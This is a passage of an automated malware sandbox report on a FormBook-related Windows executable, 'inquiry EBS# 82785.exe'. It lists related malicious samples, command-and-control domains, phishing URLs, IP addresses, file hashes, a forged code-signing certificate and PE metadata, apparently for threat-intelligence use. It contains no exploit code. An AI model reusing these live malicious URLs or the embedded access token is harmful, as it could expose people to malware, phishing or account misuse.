                                                        venerationens.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • www.quantumjunction.top/5ogg/
                                                        Interviewed.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • www.quantumjunction.top/5ogg/
                                                        107.151.241.58quotation.exeGet hashmaliciousFormBookBrowse
                                                        • www.0bi8.fun/bjqr/
                                                        Payment invoice.exeGet hashmaliciousFormBookBrowse
                                                        • www.0bi8.fun/bjqr/
                                                        Swift_USD103,700.exeGet hashmaliciousFormBookBrowse
                                                        • www.0bi8.fun/uyxu/
                                                        quote.exeGet hashmaliciousFormBookBrowse
                                                        • www.0bi8.fun/bjqr/
                                                        Transferencia.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • www.0bl2.fun/adsw/
                                                        SecuriteInfo.com.Win32.PWSX-gen.6793.10953.exeGet hashmaliciousFormBookBrowse
                                                        • www.0bi8.fun/bjqr/

                                                        Domains

                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                        www.yamlex.ruquotation.exeGet hashmaliciousFormBookBrowse
                                                        • 194.58.112.174
                                                        Payment invoice.exeGet hashmaliciousFormBookBrowse
                                                        • 194.58.112.174
                                                        quote.exeGet hashmaliciousFormBookBrowse
                                                        • 194.58.112.174
                                                        SecuriteInfo.com.Win32.PWSX-gen.6793.10953.exeGet hashmaliciousFormBookBrowse
                                                        • 194.58.112.174
                                                        td-ccm-neg-87-45.wixdns.nethttps://fbrestriction.wixsite.com/facebookGet hashmaliciousUnknownBrowse
                                                        • 34.149.87.45
                                                        https://uuyy112200.wixsite.com/my-site-2Get hashmaliciousUnknownBrowse
                                                        • 34.149.87.45
                                                        http://servty467.wixsite.com/csuadmin24Get hashmaliciousUnknownBrowse
                                                        • 34.149.87.45
                                                        FRA.0038222.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • 34.149.87.45
                                                        https://dieucestquilfait.wixsite.com/my-site-2/Get hashmaliciousUnknownBrowse
                                                        • 34.149.87.45
                                                        quotation.exeGet hashmaliciousFormBookBrowse
                                                        • 34.149.87.45
                                                        file.exeGet hashmaliciousCMSBruteBrowse
                                                        • 34.149.87.45
                                                        file.exeGet hashmaliciousUnknownBrowse
                                                        • 34.149.87.45
                                                        FRA.0038253.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • 34.149.87.45
                                                        FRA.0038253.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • 34.149.87.45
                                                        www.shopnaya.frquotation.exeGet hashmaliciousFormBookBrowse
                                                        • 212.227.172.254
                                                        Payment invoice.exeGet hashmaliciousFormBookBrowse
                                                        • 212.227.172.254
                                                        quote.exeGet hashmaliciousFormBookBrowse
                                                        • 212.227.172.254
                                                        Purchase Order_17052024.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                        • 212.227.172.254
                                                        SecuriteInfo.com.Win32.PWSX-gen.6793.10953.exeGet hashmaliciousFormBookBrowse
                                                        • 212.227.172.254
                                                        Purchase Order_21052024.exeGet hashmaliciousFormBookBrowse
                                                        • 212.227.172.254
                                                        nPLN.exeGet hashmaliciousFormBookBrowse
                                                        • 212.227.172.254
                                                        Purchase Order_20240516.exeGet hashmaliciousFormBookBrowse
                                                        • 212.227.172.254

                                                        ASNs

                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                        ZONEZoneMediaOUEEShipping Document.exeGet hashmaliciousFormBookBrowse
                                                        • 185.31.240.240
                                                        PAYMENT ADVICE.exeGet hashmaliciousFormBookBrowse
                                                        • 185.31.240.240
                                                        quotation.exeGet hashmaliciousFormBookBrowse
                                                        • 185.31.240.240
                                                        Payment invoice.exeGet hashmaliciousFormBookBrowse
                                                        • 185.31.240.240
                                                        NEW PURCHASE ORDER.exeGet hashmaliciousFormBookBrowse
                                                        • 185.31.240.240
                                                        quote.exeGet hashmaliciousFormBookBrowse
                                                        • 185.31.240.240
                                                        URGENT BANK ACCOUNT.exeGet hashmaliciousFormBookBrowse
                                                        • 185.31.240.240
                                                        SecuriteInfo.com.Win32.PWSX-gen.6793.10953.exeGet hashmaliciousFormBookBrowse
                                                        • 185.31.240.240
                                                        New Shipping Documents.exeGet hashmaliciousFormBookBrowse
                                                        • 185.31.240.240
                                                        SHIPMENT ARRIVAL NOTICE.exeGet hashmaliciousFormBookBrowse
                                                        • 185.31.240.240
                                                        ATGS-MMD-ASUShttps://paypalgiftcardgenerator.pages.dev/Get hashmaliciousUnknownBrowse
                                                        • 34.141.179.97
                                                        bWT2t63tyx.elfGet hashmaliciousMiraiBrowse
                                                        • 48.248.64.7
                                                        https://fbrestriction.wixsite.com/facebookGet hashmaliciousUnknownBrowse
                                                        • 34.49.229.81
                                                        https://uncovered-fragrant-climb.glitch.me/public/eleventy.js.htmlGet hashmaliciousHTMLPhisherBrowse
                                                        • 34.160.236.64
                                                        URocnz2wNj.elfGet hashmaliciousUnknownBrowse
                                                        • 32.31.76.58
                                                        8427xbk3Zt.elfGet hashmaliciousUnknownBrowse
                                                        • 32.114.133.238
                                                        M4huqujaBY.elfGet hashmaliciousUnknownBrowse
                                                        • 48.148.253.28
                                                        fdftMGtnix.elfGet hashmaliciousUnknownBrowse
                                                        • 48.227.75.49
                                                        3LI2VAvf26.elfGet hashmaliciousUnknownBrowse
                                                        • 48.105.48.162
                                                        ccsetup624.exeGet hashmaliciousUnknownBrowse
                                                        • 34.160.176.28
                                                        FINALFRONTIERVGquotation.exeGet hashmaliciousFormBookBrowse
                                                        • 198.177.123.106
                                                        Payment invoice.exeGet hashmaliciousFormBookBrowse
                                                        • 198.177.123.106
                                                        quote.exeGet hashmaliciousFormBookBrowse
                                                        • 198.177.123.106
                                                        Transferencia.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • 198.177.123.106
                                                        SecuriteInfo.com.Win32.PWSX-gen.6793.10953.exeGet hashmaliciousFormBookBrowse
                                                        • 198.177.123.106
                                                        Forligsmnd.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • 198.177.123.106
                                                        SecuriteInfo.com.W32.MSIL_Kryptik.KWV.gen.Eldorado.20767.3091.exeGet hashmaliciousAgentTeslaBrowse
                                                        • 198.177.120.27
                                                        cuenta para pago1.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • 198.177.123.106
                                                        Grundforbedre39.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • 198.177.123.106
                                                        venerationens.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • 198.177.123.106
                                                        CLOUDFLARENETUSDRAWING_SHEET_P02405912916 .exeGet hashmaliciousAgentTeslaBrowse
                                                        • 172.67.74.152
                                                        PAYMENT COPY.exeGet hashmaliciousFormBookBrowse
                                                        • 172.67.137.210
                                                        Shipping Document.exeGet hashmaliciousFormBookBrowse
                                                        • 172.67.190.203
                                                        NUEVA ORDEN DE COMPRAsxlx..exeGet hashmaliciousSnake KeyloggerBrowse
                                                        • 188.114.96.3
                                                        PAYMENT ADVICE.exeGet hashmaliciousFormBookBrowse
                                                        • 172.67.190.203
                                                        proforma invoice.bit.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                        • 172.67.74.152
                                                        INV 0983 OSY 240524_PDF.exeGet hashmaliciousAgentTeslaBrowse
                                                        • 104.26.12.205
                                                        ZAMOWIEN.EXE.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                        • 172.67.190.76
                                                        https://attachments.office.net/owa/cmangava%40tharisa.com/service.svc/s/GetAttachmentThumbnail?id=AAMkAGE2N2U5NmFkLWIzMjEtNGMwNS1iOWVlLWExNTBkNDk2NTZjMABGAAAAAAAsNFCwuPDISrln6MRbSR5lBwBC4JDOFd8jTJozG%2BNc7YRrAAAAmcUBAABu3YNoqzF8SLI68HoWeAXzAAFRD3sAAAABEgAQAOXLRvcdfU5Kkg7Zx598XsI%3D&thumbnailType=2&token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkU1RDJGMEY4REE5M0I2NzA5QzQzQTlFOEE2MTQzQzAzRDYyRjlBODAiLCJ0eXAiOiJKV1QiLCJ4NXQiOiI1ZEx3LU5xVHRuQ2NRNm5vcGhROEE5WXZtb0EifQ.eyJvcmlnaW4iOiJodHRwczovL291dGxvb2sub2ZmaWNlLmNvbSIsInVjIjoiNTIyZjRhMmM0ZWRmNDA4NjkxMWIwMGFjYzE2ZjgzNzEiLCJzaWduaW5fc3RhdGUiOlsiZHZjX21uZ2QiLCJkdmNfY21wIiwiZHZjX2RtamQiLCJpbmtub3dubnR3ayJdLCJ2ZXIiOiJFeGNoYW5nZS5DYWxsYmFjay5WMSIsImFwcGN0eHNlbmRlciI6Ik93YURvd25sb2FkQDliMDgyOWI5LWJlMzktNDMzNi1hNzY2LWY4YzlkYzJjNzFhNCIsImlzc3JpbmciOiJXVyIsImFwcGN0eCI6IntcIm1zZXhjaHByb3RcIjpcIm93YVwiLFwicHVpZFwiOlwiMTE1MzkwNjY2MTMxNDQwNDI4NFwiLFwic2NvcGVcIjpcIk93YURvd25sb2FkXCIsXCJvaWRcIjpcIjUyMjAyODA5LWJkODUtNGZmOC04NTUwLTRjNzUwZjNhODNlZFwiLFwicHJpbWFyeXNpZFwiOlwiUy0xLTUtMjEtMTAxMjEyODM0Ni0xNjc3NDQzNDQtMTE3Njg1Mjg2MS0xMzc4MTQ4OVwifSIsIm5iZiI6MTcxNjc5NjM3MCwiZXhwIjoxNzE2Nzk2NjcwLCJpc3MiOiIwMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOWIwODI5YjktYmUzOS00MzM2LWE3NjYtZjhjOWRjMmM3MWE0IiwiYXVkIjoiMDAwMDAwMDItMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL2F0dGFjaG1lbnRzLm9mZmljZS5uZXRAOWIwODI5YjktYmUzOS00MzM2LWE3NjYtZjhjOWRjMmM3MWE0IiwiaGFwcCI6Im93YSJ9.QgmzIBWvZG6gLwDV2SGPl9TdStXctQrpU_xiIGcL5I4eoVDkUPzqcKcrSAnwOD_E73nNMbCTWC-kgcJIIFGhLmh8iFWITRD5MwmaJN23JV7c8rlmzHlxnoqm8tPo98Soui3XZZYSaJZVTruXDBhUCiweHA69qYSoZDJxVUYZDvl5KvXMWJkA_ui0Vq1Sw7pPL5h9t4_QlGAarVBz6O9q21EGSBoX_hWPpcaEGJwoBDVeI-G6VvbkXzy9bJEMEZ6N-WzLyQtuKS9HVJBafIkUxsf0pIhhnJUluyukhnQ1dZohnpQr8e5v0Xoa3SObMFt_C5SeZHG2hFyxqFdeBhKQ_w&X-OWA-CANARY=X-OWA-CANARY_cookie_is_null_or_empty&owa=outlook.office.com&scriptVer=20240517003.15&clientId=1A63CAED249649AEBB5264A13128C2B5&animation=true&persistenceId=80cb7b14-7011-42b1-acde-250d928510f9Get hashmaliciousHTMLPhisherBrowse
                                                        • 104.17.2.184
                                                        https://docsend.com/view/qqrrvyqndwsixgqgGet hashmaliciousPhisherBrowse
                                                        • 172.67.137.213
                                                        VPSQUANUSZTQJcmS1JY.elfGet hashmaliciousMirai, OkiruBrowse
                                                        • 69.165.74.70
                                                        tfHFYWMUBn.elfGet hashmaliciousMirai, OkiruBrowse
                                                        • 69.165.74.70
                                                        quotation.exeGet hashmaliciousFormBookBrowse
                                                        • 107.151.241.58
                                                        Payment invoice.exeGet hashmaliciousFormBookBrowse
                                                        • 107.151.241.58
                                                        Swift_USD103,700.exeGet hashmaliciousFormBookBrowse
                                                        • 107.151.241.58
                                                        quote.exeGet hashmaliciousFormBookBrowse
                                                        • 107.151.241.58
                                                        Transferencia.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • 107.151.241.58
                                                        SecuriteInfo.com.Win32.PWSX-gen.6793.10953.exeGet hashmaliciousFormBookBrowse
                                                        • 107.151.241.58
                                                        SecuriteInfo.com.Win32.TrojanX-gen.16304.8810.exeGet hashmaliciousUnknownBrowse
                                                        • 69.165.74.172
                                                        file.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                        • 154.213.73.100

                                                        JA3 Fingerprints

                                                        ⊘No context

                                                        Dropped Files

                                                        ⊘No context

                                                        Created / dropped Files

                                                        C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\inquiry EBS# 82785.exe.log

                                                        Download File
                                                        Process:C:\Users\user\Desktop\inquiry EBS# 82785.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):1216
                                                        Entropy (8bit):5.34331486778365
                                                        Encrypted:false
                                                        SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
                                                        MD5:1330C80CAAC9A0FB172F202485E9B1E8
                                                        SHA1:86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
                                                        SHA-256:B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
                                                        SHA-512:75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
                                                        Malicious:false
                                                        Reputation:high, very likely benign file
                                                        Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                        Download File
                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):1172
                                                        Entropy (8bit):5.356731422178564
                                                        Encrypted:false
                                                        SSDEEP:24:3CytZWSKco4KmZjKbmOIKod6emZ9tYs4RPQoUEJ0gt/NKIl9iagu:yyjWSU4xympjmZ9tz4RIoUl8NDv
                                                        MD5:36204EC3BBBDD36D0ADB61D77F70AFA6
                                                        SHA1:2F7D16D4F9510B3787284ACE833A441F322521BB
                                                        SHA-256:AFF976F94D625B8CF86B65471B6751F22C9956A017CD785E7258006D02506FB5
                                                        SHA-512:E7B1591C6ECDCFD4CCAF971AEF50FA8E610A92AC98C65B362E8F9CCCB604426BE229C6C2D4CF2E48F134039EDBAC2FBF8CE95EC9C03CBD0E353E869B6CC49E6C
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:@...e.................................^..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0h3d3rkt.p1t.psm1

                                                        Download File
                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Reputation:high, very likely benign file
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hrju2tjp.gy3.ps1

                                                        Download File
                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxfj2kcz.5sf.ps1

                                                        Download File
                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rkjkjola.n41.psm1

                                                        Download File
                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\Temp\n200C853

                                                        Download File
                                                        Process:C:\Windows\SysWOW64\iexpress.exe
                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                        Category:modified
                                                        Size (bytes):196608
                                                        Entropy (8bit):1.1215420383712111
                                                        Encrypted:false
                                                        SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                        MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                        SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                        SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                        SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                        Malicious:false
                                                        Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                        Static File Info

                                                        General

                                                        File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                        Entropy (8bit):7.026813023166739
                                                        TrID:
                                                        • Win32 Executable (generic) Net Framework (10011505/4) 50.01%
                                                        • Win32 Executable (generic) a (10002005/4) 49.97%
                                                        • Generic Win/DOS Executable (2004/3) 0.01%
                                                        • DOS Executable Generic (2002/1) 0.01%
                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                        File name:inquiry EBS# 82785.exe
                                                        File size:984'072 bytes
                                                        MD5:f36ac11608bf695e552445fd88200e91
                                                        SHA1:76534119d4fe5ffc5a4961bf1e25f2f203fc1a99
                                                        SHA256:84643c2b61b5ea0b8ac176dde19ba3f51c3c23fde7883b3674317dc33fb6456c
                                                        SHA512:9cbca740fbb0379484d36237a059032d44abb02bd210b44e216d0c07122b426c244fa267f11538678021dbd64605f28e31eaf683ce0b1667f736d9d9cfcabb09
                                                        SSDEEP:12288:6ZqKk6v6p1S93C60rewPgwdtCvybVnNqJUsyRI8paAuzWB3UzxYLw8VuopmpvOkR:GqKk6YRr9gahcyG80SEYs8VRpkvV
                                                        TLSH:6725B13C18FC2A229160D6A4CFE0C663F150F4FA3963992299D24755474BE9BBDC327E
                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8.Nf..............0.............b.... ........@.. .......................@............@................................

                                                        File Icon

                                                        Icon Hash:00928e8e8686b000

                                                        Static PE Info

                                                        General

                                                        Entrypoint:0x4ee362
                                                        Entrypoint Section:.text
                                                        Digitally signed:true
                                                        Imagebase:0x400000
                                                        Subsystem:windows gui
                                                        Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                        DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                        Time Stamp:0x664EDA38 [Thu May 23 05:55:04 2024 UTC]
                                                        TLS Callbacks:
                                                        CLR (.Net) Version:
                                                        OS Version Major:4
                                                        OS Version Minor:0
                                                        File Version Major:4
                                                        File Version Minor:0
                                                        Subsystem Version Major:4
                                                        Subsystem Version Minor:0
                                                        Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                        Authenticode Signature

                                                        Signature Valid:false
                                                        Signature Issuer:CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
                                                        Signature Validation Error:The digital signature of the object did not verify
                                                        Error Number:-2146869232
                                                        Not Before, Not After
                                                        • 13/11/2018 01:00:00 09/11/2021 00:59:59
                                                        Subject Chain
                                                        • CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
                                                        Version:3
                                                        Thumbprint MD5:DABD77E44EF6B3BB91740FA46696B779
                                                        Thumbprint SHA-1:5B9E273CF11941FD8C6BE3F038C4797BBE884268
                                                        Thumbprint SHA-256:4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
                                                        Serial:7C1118CBBADC95DA3752C46E47A27438

                                                        Entrypoint Preview

                                                        Instruction
                                                        jmp dword ptr [00402000h]
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al

                                                        Data Directories

                                                        NameVirtual AddressVirtual Size Is in Section
                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0xee3100x4f.text
                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0xf00000x588.rsrc
                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0xece000x3608
                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0xf20000xc.reloc
                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0xebeb40x54.text
                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                        Sections

                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                        .text0x20000xec3680xec400e83e8cb19b22d3fb9764c4f610671739False0.7069330770502645data7.016429660921763IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                        .rsrc0xf00000x5880x6001235bee3986f10c622c433135ff102c0False0.4264322916666667data4.081234651275963IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .reloc0xf20000xc0x200409b71ad7a87cc9af6fc539eb066c4f6False0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                        Resources

                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                        RT_VERSION0xf00900x2f8data0.45921052631578946
